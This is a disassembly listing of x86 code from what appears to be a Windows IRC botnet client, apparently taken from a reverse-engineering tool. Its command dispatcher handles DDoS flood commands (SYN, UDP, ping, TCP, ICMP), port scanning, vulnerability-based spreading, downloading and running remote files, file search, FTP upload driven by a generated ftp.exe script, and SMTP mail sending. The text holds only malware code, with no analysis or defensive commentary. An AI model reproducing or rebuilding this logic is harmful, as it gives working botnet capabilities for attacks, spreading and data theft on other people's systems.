		test	eax, eax
		pop	ecx
		jnz	loc_40F8F6
		push	ebx
		push	1Ah
		call	sub_414FCF
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40EA09
		push	eax
		push	offset unk_435A08
		jmp	loc_40EAFE
; ---------------------------------------------------------------------------


loc_40EA09:				; CODE XREF: sub_40CD3A+1CC2j
		push	offset unk_4359C8
		jmp	loc_40F8E8
; ---------------------------------------------------------------------------


loc_40EA13:				; CODE XREF: sub_40CD3A+1C8Ej
					; sub_40CD3A+1C9Fj
		push	1Ah
		call	sub_41501C
		test	eax, eax
		pop	ecx
		jle	short loc_40EA29
		push	offset unk_435994
		jmp	loc_40F8E8
; ---------------------------------------------------------------------------


loc_40EA29:				; CODE XREF: sub_40CD3A+1CE3j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_36C], eax
		mov	eax, [ebp+var_4]
		push	offset aFile	; "file"
		mov	[ebp+var_2E4], eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EA58
		mov	[ebp+var_2E0], 1
		jmp	short loc_40EA61
; ---------------------------------------------------------------------------


loc_40EA58:				; CODE XREF: sub_40CD3A+1D10j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E0], eax


loc_40EA61:				; CODE XREF: sub_40CD3A+1D1Cj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_40EA88
		mov	esi, offset dword_42C30C
		push	offset byte_43B188
		push	esi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EA88
		mov	esi, [ebp+var_8C]


loc_40EA88:				; CODE XREF: sub_40CD3A+1D30j
					; sub_40CD3A+1D46j
		push	esi
		lea	eax, [ebp+var_364]
		push	80h
		push	eax
		call	sub_41588A
		lea	eax, [ebp+var_2D8]
		push	offset unk_435960
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	1Ah
		push	eax
		call	sub_414DDA
		add	esp, 20h
		mov	[ebp+var_368], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36C]
		push	ebx
		push	eax
		push	offset sub_4021FB
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_368]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_40EB1A
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435910


loc_40EAFE:				; CODE XREF: sub_40CD3A+1C16j
					; sub_40CD3A+1C59j ...
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_415316


loc_40EB0A:				; CODE XREF: sub_40CD3A+5A12j
		add	esp, 0Ch
		jmp	loc_40F8F6
; ---------------------------------------------------------------------------


loc_40EB12:				; CODE XREF: sub_40CD3A+1DE6j
		push	32h
		call	dword_421060	; Sleep


loc_40EB1A:				; CODE XREF: sub_40CD3A+1DB6j
		cmp	[ebp+var_2DC], ebx
		jz	short loc_40EB12
		jmp	loc_40F8F6
; ---------------------------------------------------------------------------


loc_40EB27:				; CODE XREF: sub_40CD3A+1C79j
		push	[ebp+arg_8]
		push	offset aBox_net	; "box.net"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EDD1
		cmp	dword_43C620, ebx
		jz	short loc_40EB58
		cmp	dword_43C648, ebx
		jz	short loc_40EB58
		push	offset dword_4358B8
		jmp	loc_40EDBE
; ---------------------------------------------------------------------------


loc_40EB58:				; CODE XREF: sub_40CD3A+1E0Aj
					; sub_40CD3A+1E12j
		cmp	[ebp+var_C], ebx
		jz	loc_40F526
		mov	eax, [ebp+esi+var_8C]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40EB80
		push	eax
		push	[ebp+var_C]
		call	sub_4158E0
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_40EB80:				; CODE XREF: sub_40CD3A+1E36j
		push	edi
		push	offset aStart	; "start"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EBEC
		cmp	[ebp+arg_18], ebx
		jz	short loc_40EBBA
		push	[ebp+arg_0]
		push	3


loc_40EB9B:				; CODE XREF: sub_40CD3A+1EC8j
					; sub_40CD3A+1EE0j ...
		call	sub_412C6C
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_415316
		add	esp, 14h
		jmp	loc_40F526
; ---------------------------------------------------------------------------


loc_40EBBA:				; CODE XREF: sub_40CD3A+1E5Aj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412F13
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_2D8]
		jz	short loc_40EBE2
		push	offset dword_43587C
		jmp	loc_40EDC4
; ---------------------------------------------------------------------------


loc_40EBE2:				; CODE XREF: sub_40CD3A+1E9Cj
		push	offset dword_435848
		jmp	loc_40EDC4
; ---------------------------------------------------------------------------


loc_40EBEC:				; CODE XREF: sub_40CD3A+1E55j
		push	edi
		push	offset aStop	; "stop"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EC04
		push	[ebp+arg_0]
		push	4
		jmp	short loc_40EB9B
; ---------------------------------------------------------------------------


loc_40EC04:				; CODE XREF: sub_40CD3A+1EC1j
		push	edi
		push	offset aPause	; "pause"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EC1F
		push	[ebp+arg_0]
		push	5
		jmp	loc_40EB9B
; ---------------------------------------------------------------------------


loc_40EC1F:				; CODE XREF: sub_40CD3A+1ED9j
		push	edi
		push	offset aContinue ; "continue"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EC3A
		push	[ebp+arg_0]
		push	6
		jmp	loc_40EB9B
; ---------------------------------------------------------------------------


loc_40EC3A:				; CODE XREF: sub_40CD3A+1EF4j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EC55
		push	[ebp+arg_0]
		push	1
		jmp	loc_40EB9B
; ---------------------------------------------------------------------------


loc_40EC55:				; CODE XREF: sub_40CD3A+1F0Fj
		push	edi
		push	offset aShare	; "share"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40ECD8
		cmp	[ebp+arg_18], ebx
		jz	short loc_40ECA5
		cmp	[ebp+var_8FC], bl
		jz	short loc_40EC7B
		push	ebx
		push	[ebp+arg_18]
		push	1
		jmp	short loc_40EC86
; ---------------------------------------------------------------------------


loc_40EC7B:				; CODE XREF: sub_40CD3A+1F37j
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	ebx


loc_40EC86:				; CODE XREF: sub_40CD3A+1F3Fj
		call	sub_413053
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_415316
		add	esp, 18h
		jmp	loc_40F526
; ---------------------------------------------------------------------------


loc_40ECA5:				; CODE XREF: sub_40CD3A+1F2Fj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_413248
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2D8]
		jz	short loc_40ECCE
		push	offset dword_4357F4
		jmp	loc_40EDC4
; ---------------------------------------------------------------------------


loc_40ECCE:				; CODE XREF: sub_40CD3A+1F88j
		push	offset dword_4357C0
		jmp	loc_40EDC4
; ---------------------------------------------------------------------------


loc_40ECD8:				; CODE XREF: sub_40CD3A+1F2Aj
		push	edi
		push	offset aUser	; "user"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40ED6E
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_40ED41
		push	[ebp+var_4]
		cmp	[ebp+var_8FC], bl
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		jz	short loc_40ED0E
		push	ebx
		push	eax
		push	1
		jmp	short loc_40ED22
; ---------------------------------------------------------------------------


loc_40ED0E:				; CODE XREF: sub_40CD3A+1FCCj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	short loc_40ED1E
		push	esi
		push	eax
		push	ebx
		jmp	short loc_40ED22
; ---------------------------------------------------------------------------


loc_40ED1E:				; CODE XREF: sub_40CD3A+1FDDj
		push	ebx
		push	eax
		push	2


loc_40ED22:				; CODE XREF: sub_40CD3A+1FD2j
					; sub_40CD3A+1FE2j
		call	sub_413369
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_415316
		add	esp, 24h
		jmp	loc_40F526
; ---------------------------------------------------------------------------


loc_40ED41:				; CODE XREF: sub_40CD3A+1FB8j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_41387D
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2D8]
		jz	short loc_40ED67
		push	offset dword_435784
		jmp	short loc_40EDC4
; ---------------------------------------------------------------------------


loc_40ED67:				; CODE XREF: sub_40CD3A+2024j
		push	offset dword_435754
		jmp	short loc_40EDC4
; ---------------------------------------------------------------------------


loc_40ED6E:				; CODE XREF: sub_40CD3A+1FADj
		push	edi
		push	offset aSend	; "send"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EDB9
		cmp	[ebp+arg_18], ebx
		jz	short loc_40EDB2
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_413B27
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_415316
		add	esp, 1Ch
		jmp	loc_40F526
; ---------------------------------------------------------------------------


loc_40EDB2:				; CODE XREF: sub_40CD3A+2048j
		push	offset dword_435720
		jmp	short loc_40EDBE
; ---------------------------------------------------------------------------


loc_40EDB9:				; CODE XREF: sub_40CD3A+2043j
		push	offset dword_4356F0


loc_40EDBE:				; CODE XREF: sub_40CD3A+1E19j
					; sub_40CD3A+207Dj ...
		lea	eax, [ebp+var_2D8]


loc_40EDC4:				; CODE XREF: sub_40CD3A+1EA3j
					; sub_40CD3A+1EADj ...
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx
		jmp	loc_40F526
; ---------------------------------------------------------------------------


loc_40EDD1:				; CODE XREF: sub_40CD3A+1DFEj
		push	[ebp+arg_8]
		push	offset aEnz_gethost ; "enz.gethost"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41101A
		push	[ebp+arg_8]
		push	offset aEnz_gh	; "enz.gh"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41101A
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_40D18F
		push	[ebp+arg_8]
		push	offset aEnz_addalias ; "enz.addalias"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410FDB
		push	[ebp+arg_8]
		push	offset aEnz_aa	; "enz.aa"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410FDB
		push	[ebp+arg_8]
		push	offset aEnz_privmsg ; "enz.privmsg"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F85
		push	[ebp+arg_8]
		push	offset aEnz_pm	; "enz.pm"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F85
		push	[ebp+arg_8]
		push	offset aEnz_action ; "enz.action"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F17
		push	[ebp+arg_8]
		push	offset aEnz_ac	; "enz.ac"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F17
		push	[ebp+arg_8]
		push	offset aEnz_cycle ; "enz.cycle"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EB1
		push	[ebp+arg_8]
		push	offset aEnz_cy	; "enz.cy"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EB1
		push	[ebp+arg_8]
		push	offset aEnz_mode ; "enz.mode"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E7A
		push	[ebp+arg_8]
		push	offset aEnz_m	; "enz.m"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E7A
		push	[ebp+arg_8]
		push	offset aClone_raw ; "clone.raw"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E0F
		push	[ebp+arg_8]
		push	offset aClone_ra ; "clone.ra"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E0F
		push	[ebp+arg_8]
		push	offset aClone_mode ; "clone.mode"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D8D
		push	[ebp+arg_8]
		push	offset aClone_m	; "clone.m"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D8D
		push	[ebp+arg_8]
		push	offset aClone_nick ; "clone.nick"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D1F
		push	[ebp+arg_8]
		push	offset aClone_ni ; "clone.ni"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D1F
		push	[ebp+arg_8]
		push	offset aClone_join ; "clone.join"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410CF9
		push	[ebp+arg_8]
		push	offset aClone_j	; "clone.j"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410CF9
		push	[ebp+arg_8]
		push	offset aClone_part ; "clone.part"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410C99
		push	[ebp+arg_8]
		push	offset aClone_p	; "clone.p"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410C99
		push	[ebp+arg_8]
		push	offset aEnz_repeat ; "enz.repeat"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410BCA
		push	[ebp+arg_8]
		push	offset aEnz_rp	; "enz.rp"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410BCA
		push	[ebp+arg_8]
		push	offset aEnz_delay ; "enz.delay"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B2F
		push	[ebp+arg_8]
		push	offset aEnz_de	; "enz.de"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B2F
		push	[ebp+arg_8]
		push	offset aDownload_updiz ; "download.updiz"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4109B2
		push	[ebp+arg_8]
		push	offset aDownload_upz ; "download.upz"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4109B2
		push	[ebp+arg_8]
		push	offset aBox_execute ; "box.execute"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410919
		push	[ebp+arg_8]
		push	offset aBox_e	; "box.e"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410919
		push	[ebp+arg_8]
		push	offset aBox_findfile ; "box.findfile"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41080D
		push	[ebp+arg_8]
		push	offset aBox_ff	; "box.ff"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41080D
		push	[ebp+arg_8]
		push	offset aBox_rename ; "box.rename"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4107BC
		push	[ebp+arg_8]
		push	offset aBox_mv	; "box.mv"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4107BC
		push	[ebp+arg_8]
		push	offset aDdos_icmp ; "ddos.icmp"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4106C2
		push	[ebp+arg_8]
		push	offset aDdos_ic	; "ddos.ic"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4106C2
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_40D18F
		push	[ebp+arg_8]
		push	offset aClone_make ; "clone.make"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4105D8
		push	[ebp+arg_8]
		push	offset aClone_start ; "clone.start"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4105D8
		push	[ebp+arg_8]
		push	offset aDs_sy1	; "ds.sy1"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4104C7
		push	[ebp+arg_8]
		push	offset aDs_ack	; "ds.ack"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4104C7
		push	[ebp+arg_8]
		push	offset aDs_rm	; "ds.rm"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4104C7
		push	[ebp+arg_8]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4103C9
		push	[ebp+arg_8]
		push	offset aSy1	; "sy1"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4103C9
		push	[ebp+arg_8]
		push	offset aDownload_fromw ; "download.fromwww"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41028C
		push	[ebp+arg_8]
		push	offset aD1	; "d1"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41028C
		push	[ebp+arg_8]
		push	offset aServer_redir_0 ; "server.redirect.on"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410193
		push	[ebp+arg_8]
		push	offset aServer_rd_on ; "server.rd.on"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410193
		push	[ebp+arg_8]
		push	offset aEnz_portscan ; "enz.portscan"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4100A1
		push	[ebp+arg_8]
		push	offset aEnz_ps	; "enz.ps"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4100A1
		push	[ebp+arg_8]
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FFCC
		push	[ebp+arg_8]
		push	offset aClone_pm ; "clone.pm"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FFCC
		push	[ebp+arg_8]
		push	offset aClone_action ; "clone.action"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FEBA
		push	[ebp+arg_8]
		push	offset aClone_ac ; "clone.ac"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FEBA
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_40D18F
		push	[ebp+arg_8]
		push	offset aVuln_start ; "vuln.start"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FB65
		push	[ebp+arg_8]
		push	offset aVvv	; "vvv"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FB65
		push	[ebp+arg_8]
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FA46
		push	[ebp+arg_8]
		push	offset aDdos_udpf ; "ddos.udpf"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FA46
		push	[ebp+arg_8]
		push	offset aPu	; "pu"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FA46
		push	[ebp+arg_8]
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F920
		push	[ebp+arg_8]
		push	offset aDdos_pingf ; "ddos.pingf"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F920
		push	[ebp+arg_8]
		push	offset aPg	; "pg"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F920
		push	[ebp+arg_8]
		push	offset aDdos_tcpflood ;	"ddos.tcpflood"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F75E
		push	[ebp+arg_8]
		push	offset aUsa	; "usa"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F75E
		push	[ebp+arg_8]
		push	offset aUtil_email ; "util.email"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F55E
		lea	eax, [ebp+var_A7C]
		push	edi
		push	eax
		call	sub_415A20
		push	[ebp+arg_18]
		call	sub_41587F
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_1FD4]
		push	eax
		call	sub_415A20
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1690]
		push	eax
		call	sub_415A20
		push	offset asc_426A34 ; " "
		push	offset a_	; "_"
		push	[ebp+esi+var_80]
		call	sub_4098D4
		push	eax
		lea	eax, [ebp+var_1ED4]
		push	eax
		call	sub_415A20
		add	esp, 30h
		lea	eax, [ebp+var_1824]
		push	eax
		push	101h
		call	dword_43C4CC
		lea	eax, [ebp+var_A7C]
		push	eax
		call	dword_43C5D8
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_43C5D4
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_D0], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_CC], eax
		call	dword_43C554
		mov	[ebp+var_CE], ax
		lea	eax, [ebp+var_1ED4]
		push	eax
		lea	eax, [ebp+var_1FD4]
		push	eax
		lea	eax, [ebp+var_1ED4]
		push	eax
		lea	eax, [ebp+var_1690]
		push	eax
		lea	eax, [ebp+var_1FD4]
		push	eax
		lea	eax, [ebp+var_27D4]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_415316
		add	esp, 1Ch
		lea	eax, [ebp+var_D0]
		push	10h
		push	eax
		push	esi
		call	dword_43C4FC
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_1DD0]
		push	edi
		push	eax
		push	esi
		call	dword_43C56C
		lea	eax, [ebp+var_1DD0]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_27D4]
		push	eax
		push	esi
		call	dword_43C5A4
		push	ebx
		lea	eax, [ebp+var_1DD0]
		push	edi
		push	eax
		push	esi
		call	dword_43C56C
		push	esi
		call	dword_43C5EC
		call	dword_43C4B4
		lea	eax, [ebp+var_1690]
		push	eax
		push	offset unk_435398


loc_40F517:				; CODE XREF: sub_40CD3A+396Ej
					; sub_40CD3A+3DD1j ...
		lea	eax, [ebp+var_2D8]


loc_40F51D:				; CODE XREF: sub_40CD3A+3C73j
		push	eax
		call	sub_415316


loc_40F523:				; CODE XREF: sub_40CD3A+50FEj
		add	esp, 0Ch


loc_40F526:				; CODE XREF: sub_40CD3A+1E21j
					; sub_40CD3A+1E7Bj ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_40F547
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 14h


loc_40F547:				; CODE XREF: sub_40CD3A+27EFj
					; sub_40CD3A+4433j ...
		mov	esi, [ebp+arg_24]


loc_40F54A:				; CODE XREF: sub_40CD3A+954j
					; sub_40CD3A+475Dj ...
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_40B078
		pop	ecx
		mov	eax, esi
		jmp	loc_40D192
; ---------------------------------------------------------------------------


loc_40F55E:				; CODE XREF: sub_40CD3A+2687j
		push	[ebp+arg_8]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F730
		push	[ebp+arg_8]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F730
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	loc_40D18F
		push	[ebp+arg_8]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412818
		push	4
		push	esi
		call	sub_40C0F3
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F604
		push	esi
		push	offset dword_43533C


loc_40F5C3:				; CODE XREF: sub_40CD3A+4989j
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_415316
		add	esp, 0Ch


loc_40F5D2:				; CODE XREF: sub_40CD3A+42DBj
					; sub_40CD3A+518Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_40F5F3
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 14h


loc_40F5F3:				; CODE XREF: sub_40CD3A+289Bj
					; sub_40CD3A+5381j ...
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_40B078
		jmp	loc_412999
; ---------------------------------------------------------------------------


loc_40F604:				; CODE XREF: sub_40CD3A+2881j
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415368
		pop	ecx
		call	sub_415372
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_415372
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_415372
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_1DD4]
		push	edx
		push	eax
		lea	eax, [ebp+var_1694]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_1694]
		push	offset aAb	; "ab"
		push	eax
		call	sub_415A08
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_40D18F
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_4159B6
		push	[ebp+arg_24]
		call	sub_415960
		lea	eax, [ebp+var_1694]
		push	eax
		lea	eax, [ebp+var_A7C]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_415316
		add	esp, 2Ch
		lea	eax, [ebp+var_A7C]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43C4C8
		push	edi
		push	esi
		test	eax, eax
		jz	short loc_40F6CE
		push	offset dword_4352C0
		jmp	short loc_40F6D3
; ---------------------------------------------------------------------------


loc_40F6CE:				; CODE XREF: sub_40CD3A+298Bj
		push	offset dword_435280


loc_40F6D3:				; CODE XREF: sub_40CD3A+2992j
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40F6FC
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 14h


loc_40F6FC:				; CODE XREF: sub_40CD3A+29A4j
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_40B078
		jmp	short loc_40F716
; ---------------------------------------------------------------------------


loc_40F70A:				; CODE XREF: sub_40CD3A+29EFj
		lea	eax, [ebp+var_1694]
		push	eax
		call	sub_41791C


loc_40F716:				; CODE XREF: sub_40CD3A+29CEj
		lea	eax, [ebp+var_1694]
		push	4
		push	eax
		call	sub_40C0F3
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40F70A
		jmp	loc_40D18F
; ---------------------------------------------------------------------------


loc_40F730:				; CODE XREF: sub_40CD3A+2835j
					; sub_40CD3A+284Cj
		push	[ebp+esi+var_80]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41587F
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_406A63
		jmp	loc_412815
; ---------------------------------------------------------------------------


loc_40F75E:				; CODE XREF: sub_40CD3A+2659j
					; sub_40CD3A+2670j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1104]
		push	esi
		push	eax
		call	sub_41588A
		lea	eax, [ebp+var_1104]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_415730
		add	esp, 14h
		test	eax, eax
		jz	short loc_40F7C1
		lea	eax, [ebp+var_1104]
		push	eax
		push	offset aAck	; "ack"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F7C1
		lea	eax, [ebp+var_1104]
		push	eax
		push	offset aRandom	; "random"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F7C1
